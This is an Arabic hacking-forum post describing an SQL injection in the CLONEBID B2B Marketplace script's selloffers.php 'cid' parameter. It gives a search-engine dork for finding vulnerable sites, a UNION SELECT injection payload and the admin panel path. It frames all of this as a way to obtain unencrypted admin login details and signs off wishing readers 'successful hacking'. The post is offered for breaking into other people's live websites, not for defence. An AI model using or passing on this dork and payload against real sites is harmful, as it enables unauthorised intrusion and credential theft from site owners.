ثغره بإسكربت CLONEBID B2B Marketplace

[center]ثغره بإسكربت CLONEBID B2B Marketplace


            
            
            
                     
            
            
            
            [/center]

               
               
                  <blockquote class="postcontent restore ">
                     
                     
[center]السلام عليكم ورحمة الله وبركاته




شرح اختراق سكربت [url=http://forum.kalemaro.com/showthread.php?t=5509] [/url][url=http://forum.kalemaro.com/showthread.php?t=5509] clonebid [/url]  B2B Marketplace

والحصور على بيانات دخول لوحة التحكم الأدمن غير مشفرة

أسم السكربت [url=http://forum.kalemaro.com/showthread.php?t=5509] [/url][url=http://forum.kalemaro.com/showthread.php?t=5509] clonebid [/url]  B2B Marketplace

نوع الثغرة SQL Injection

الملف المصاب selloffers.php

الأوامر المستخدمة Get : cid

دورك البحث عن المواقع المصابة فى محركات البحث
inurl:selloffers.php?cid

الأستغلال

--http:/ / server / selloffers.php?cid=-14 union select 1,version(),3,4,5,6,7,8

 نضع بعد اسم الموقع المصاب
--selloffers.php?cid=-14 union select 1,version(),3,4,5,6,7,8

معلومات دخول لوحة التحكم للسكربت

مسار لوحة تحكم السكربت

http:/ / server /admin

 
اختراق موفق
[/center]




</blockquote>